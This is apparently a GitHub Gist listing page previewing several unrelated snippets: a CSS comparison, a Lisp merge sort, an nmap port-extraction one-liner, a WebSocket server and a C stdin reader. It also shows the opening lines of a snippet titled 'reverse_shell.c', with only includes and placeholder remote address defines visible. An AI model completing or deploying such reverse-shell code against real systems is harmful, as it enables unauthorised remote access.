Skip to content

Instantly share code, notes, and snippets.

@Asheq
Asheq / css-display.md
Last active November 17, 2022 13:18
Compare CSS "display" Property Values
Behavior inline inline-block block
@cleac
cleac / merge-sort.lisp
Created May 30, 2017 06:44
Merge sort implementation in lisp
(defun merge-sort(lst)
(defun merge_(f s)
(cond
((= (list-length f) 0) s)
((= (list-length s) 0) f)
((< (car f) (car s)) (append (list (car f)) (merge_ (cdr f) s)))
((> (car f) (car s)) (append (list (car s)) (merge_ f (cdr s))))
((= (car f) (car s)) (append (list (car f) (car s)) (merge_ (cdr f) (cdr s))))
)
)
@thomaspatzke
thomaspatzke / nmap-open-ports.sh
Last active December 12, 2023 13:33
Extract all open ports in Host:Port format from nmap XML output
xmlstarlet sel -t -m '//port/state[@state="open"]/parent::port' -v 'ancestor::host/address/@addr' -o : -v './@portid' -n nmap-output.xml
'use strict';
const Fs = require('fs');
const Https = require('https');
const WebSocketServer = require('ws').Server;
const httpsServer = Https.createServer({
key: Fs.readFileSync(process.env.KEY),
cert: Fs.readFileSync(process.env.CERT)
});
const wss = new WebSocketServer({
@0xabe-io
0xabe-io / reverse_shell.c
Created January 6, 2015 15:24
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@1995eaton
1995eaton / readin.c
Created November 8, 2014 23:29
C stdin reader example with dynamic memory allocation
#include <stdio.h>
#include <stdlib.h>
static char *
read_stdin (void)
{
size_t cap = 4096, /* Initial capacity for the char buffer */
len = 0; /* Current offset of the buffer */
char *buffer = malloc(cap * sizeof (char));
int c;